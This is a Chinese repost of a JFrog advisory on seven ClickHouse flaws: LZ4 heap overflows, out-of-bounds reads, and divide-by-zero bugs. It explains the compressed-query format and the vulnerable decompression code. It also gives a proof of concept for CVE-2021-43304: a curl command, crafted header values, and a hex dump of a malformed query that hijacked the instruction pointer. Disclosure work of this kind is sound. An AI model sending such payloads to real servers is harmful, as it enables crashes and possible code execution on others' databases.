ClickHouse数据库系统RCE和dos漏洞CVE-2021-43304

ClickHouse数据库系统RCE和dos漏洞CVE-2021-43304

ClickHouse DBMS 中发现的 7 个漏洞-RCE 和 DoS 漏洞

JFrog 安全研究团队不断监控开源项目,以发现新的漏洞或恶意程序包,并与更广泛的社区分享,以帮助改善他们的整体安全状况。作为这项工作的一部分,该团队最近在ClickHouse中发现了七个新的安全漏洞,一个广泛使用的开源数据库管理系统 (DBMS),专门用于在线分析处理 (OLAP)。ClickHouse 由 Yandex 为 Yandex.Metrica 开发,这是一种网络分析工具,通常用于获取用户操作的可视化报告和视频记录,以及跟踪流量来源以帮助评估在线和离线广告的有效性。JFrog 安全团队负责任地披露了这些漏洞,并与 ClickHouse 的维护人员合作验证修复程序。

这些漏洞需要身份验证,但可以由任何具有读取权限的用户触发。这意味着攻击者必须对特定的 ClickHouse 服务器目标执行侦察以获取有效凭据。任何一组凭据都可以,因为即使是具有最低权限的用户也可以触发所有漏洞。通过触发漏洞,攻击者可以使 ClickHouse 服务器崩溃、泄漏内存内容甚至导致远程代码执行 (RCE)。

ClickHouse数据库系统RCE和dos漏洞CVE-2021-43304

以下是 JFrog 安全团队发现的七个漏洞:

  • CVE-2021-43304CVE-2021-43305  – LZ4 压缩编解码器中的堆缓冲区溢出漏洞
  • CVE-2021-42387CVE-2021-42388 – LZ4 压缩编解码器中的堆越界读取漏洞
  • CVE-2021-42389 – 在 Delta 压缩编解码器中除以零
  • CVE-2021-42390 – 在 Delta-Double 压缩编解码器中除以零
  • CVE-2021-42391 – 在 Gorilla 压缩编解码器中除以零
CVE ID描述潜在影响CVSSv3.1 评分
CVE-2021-43304解析恶意查询时 LZ4 压缩编解码器中的堆缓冲区溢出RCE8.8
CVE-2021-43305解析恶意查询时 LZ4 压缩编解码器中的堆缓冲区溢出RCE8.8
CVE-2021-42387解析恶意查询时在 LZ4 压缩编解码器中读取的堆越界拒绝服务或信息泄露7.1
CVE-2021-42388解析恶意查询时在 LZ4 压缩编解码器中读取的堆越界拒绝服务或信息泄露7.1
CVE-2021-42389解析恶意查询时在 Delta 压缩编解码器中除以零拒绝服务6.5
CVE-2021-42390解析恶意查询时在 DeltaDouble 压缩编解码器中除以零拒绝服务6.5
CVE-2021-42391解析恶意查询时在 Gorilla 压缩编解码器中除以零拒绝服务6.5

技术背景

ClickHouse 服务器允许用户压缩其查询。用户可以通过向其 Web 界面提供decompress=1 URL 查询字符串参数来传递压缩查询,如下所示:

cat query.bin | curl -sS --data-binary @- 'http://serverIP:8123/?user=guest1&password=1234&decompress=1'

其中 serverIP 是 ClickHouse 服务器的 IP 地址,该服务器设置了用户“guest1”和密码“1234”。该用户也可以配置“只读”策略。

查询的内容 (query.bin) 应采用以下格式:

struct {
    uint128_t hash; // Google’s CityHash128
    uint8_t compress_method;
    uint32_t size_compressed_without_checksum; // the length (in bytes) of the entire struct (including compressed_data contents) minus the first 16bytes hash field. 
    uint32_t decompressed_size; // the expected decompressed output size 
    char compressed_data[0]; // the compressed data bytes (variable length)
};

客户端将整个结构提供给服务器,从而控制其所有内容。

压缩数据是通过构造一个CompressedReadBuffer实例来使用的,该 struct 作为其输入。

CompressedReadBuffer 的代码调用 readCompressedData读取结构并提取其长度值,计算结构内容(不包括哈希字段)的 CityHash128,并根据结构的哈希字段验证它。然后它调整(基本上是 realloc() 的)最初分配的用于保存解压缩数据的内存缓冲区的大小。然后,通过ICompressionCodec::decompress,调用所选编解码器的doDecompressData

CVE-2021-42387CVE-2021-43304CVE-2021-42388CVE-2021-43305中,LZ4 编解码器调用LZ4::decompress(source, dest, source_size, dest_size, ..),“compressed_data”为source,它的长度为 source_size,调整大小的内存缓冲区为 dest,结构的“decompressed_size”值为 dest_size。LZ4::decompress 最终调用LZ4::decompressImpl(source, dest, dest_size)它在循环中执行实际的 LZ4 解压缩——以用户控制的长度和偏移量(作为压缩数据字节的一部分提供)将压缩输入的不同部分复制到解压缩的输出内存缓冲区。它定义了用于跟踪源 (ip) 和目标 (op) 中的当前位置的指针变量。

CVE-2021-43304 – 一个堆缓冲区溢出漏洞

以下是与 CVE-2021-43304 相关的 LZ4::decompressImpl() 代码:

template 
void NO_INLINE decompressImpl(
     const char * const source,
     char * const dest,
     size_t dest_size)
{
    ...
    while (true)
    {
        ... 
        wildCopy(op, ip, copy_end);    /// Here we can write up to copy_amount - 1 bytes after buffer.
 
        ip += length;
        op = copy_end;
 
        if (copy_end >= output_end)
            return;
        ...
    }
}

ip是指向压缩缓冲区的指针, op是指向分配的目标缓冲区的指针,分配的目标缓冲区的大小为在标头中传递的给定 decompressed_size 大小。copy_end是指向复制区域末尾的指针。

copy_amount是模板的参数,可以是 8、16 或 32。复制区域被复制成块,每个块的大小都是copy_amount。例如,这是 wildCopy16 的实现:

inline void wildCopy16(UInt8 * dst, const UInt8 * src, const UInt8 * dst_end)
{
    /// Unrolling with clang is doing >10% performance degrade.
#if defined(__clang__)
    #pragma nounroll
#endif
    do
    {
        copy16(dst, src);
        dst += 16;
        src += 16;
    } while (dst < dst_end);
}

由于用户控制decompressed_size和压缩缓冲区,攻击者可以通过准备压缩数据来利用这种情况,该压缩数据的头部包含小于压缩数据实际大小的 decompressed_size。请注意,溢出的长度,以及源的分配大小和溢出的字节内容完全由用户控制,这极大地方便了利用。

另请注意,“if (copy_end >= output_end)”的现有大小检查并不能阻止此漏洞,因为它出现在复制操作之后。CVE-2021-43305 与 CVE-2021-43304 类似,但涉及不同的复制操作(其源是目标缓冲区的受控偏移量)。

利用 CVE-2021-43304

为了证明 CVE-2021-43304 的可利用性,我们创建了一个特制的压缩文件并按照前面的说明发送。query.bin 文件包含以下标头:

  • hash = 匹配计算的 Cityhash
  • compress_method = 0x82(LZ4 方法)
  • size_compressed_without_checksum = 0xc80a
  • 解压缩大小 = 0x1

对于压缩数据,我们使用了“\xff”(重复 200 次)“A”(重复 5100 次)。这些是任意值。生成的格式错误的压缩文件: 在 LZ4::decompressImpl() 内的循环中使用了 200 个 0xff:

00000000 26 fc 61 db c0 83 bb 0a db 58 5a f0 34 e1 30 f6 |&.a......XZ.4.0.|
00000010 82 0a c8 00 00 01 00 00 00 f0 ff ff ff ff ff ff |................|
00000020 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
000000e0 ff ff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |..AAAAAAAAAAAAAA|
000000f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
0000c81a
template 
void NO_INLINE decompressImpl(
     const char * const source,
     char * const dest,
     size_t dest_size)
{
    ...
    while (true)
    {
        ...
        size_t length;
 
        auto continue_read_length = [&]
        {
            unsigned s;
            do
            {
                s = *ip++;
                length += s;
            } while (unlikely(s == 255));
        };
 
        /// Get literal length.
 
        const unsigned token = *ip++;
        length = token >> 4;
        if (length == 0x0F)
            continue_read_length();
        
        /// Copy literals.
 
        UInt8 * copy_end = op + length;
 
        ...
 
        wildCopy(op, ip, copy_end);    /// Here we can write up to copy_amount - 1 bytes after buffer.
        ...
    }
}

这将使长度增加0xff * 200 = 51000,这正是其余数据的大小。

因此,尽管解压缩后的大小为 1,但更大的大小将被复制到目标。

通过将查询发送到易受攻击的 ClickHouse 服务器,在调试服务器进程的同时,我们设法定期发生以下崩溃,证明对指令指针寄存器的控制,因为代码分支到从 RAX 寄存器获取的地址,该地址已被覆盖我们的“A”值:

ClickHouse数据库系统RCE和dos漏洞CVE-2021-43304

尽管这种特定的崩溃是统计的,但我们相信通过适当的堆整形技术,可以开发出稳定的漏洞利用exp。

CVE-2021-42388 和 CVE-2021-42387 – 堆 OOB 读取漏洞

在 LZ4::decompressImpl() 中:

template 
void NO_INLINE decompressImpl(
     const char * const source,
     char * const dest,
     size_t dest_size)
{
    ...
    while (true)
    {
        ...
        const UInt8 * match = op - offset;
        ...
        if (length > copy_amount * 2)
            wildCopy(op + copy_amount, match + copy_amount, copy_end);
        ...
    }
}

作为 LZ4::decompressImpl() 循环的一部分,从压缩数据中读取一个 16 位无符号用户提供的值(“偏移量”)。它从当前 op 中减去并存储在匹配指针中(op是一个以dest开头并向前移动的指针)。没有验证匹配指针不小于dest。稍后,有一个从匹配到输出指针的复制操作——可能从“目标”内存缓冲区之前复制越界内存。访问缓冲区边界之外的内存可能会暴露敏感信息,或者在某些情况下由于分段错误而导致应用程序崩溃。

CVE-2021-42387 是与 CVE-2021-42388 类似的漏洞,作为复制操作的一部分,它超出了压缩缓冲区(源)的上限。

CVE-2021-42389、CVE-2021-42390 和 CVE-2021-42391 – 除零漏洞

这些是 ClickHouse 支持的各种编解码器中的除零漏洞。它们基于将压缩缓冲区的第一个字节(在上面的“技术背景”部分中描述)设置为零。解压代码读取压缩缓冲区的第一个字节,并对其进行模运算以获得余数:

UInt8 bytes_size = source[0];
UInt8 bytes_to_skip = uncompressed_size % bytes_size;

在大多数情况下,Intel x86-64 中的模运算是由 DIV 指令执行的,该指令除了将数字相除之外,还将余数保存在寄存器中。因此,如果 bytes_size 为 0,它将最终除以零。

这些漏洞是通过“智能模糊”解压机制发现的。智能模糊测试利用输入格式的知识来生成输入数据,这些数据(相对)遵守预期的协议模式,而不是完全随机的数据。

修复和解决方法

为了解决这些问题,请将 ClickHouse 更新到v21.10.2.15-stable版本或更高版本。

如果无法升级,请在服务器中添加防火墙规则,将 Web 端口 (8123) 和 TCP 服务器端口 (9000) 的访问仅限于特定客户端。

JFrog 产品是否易受攻击?

JFrog 产品不易受此问题的影响,因为它们不使用 ClickHouse DBMS

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注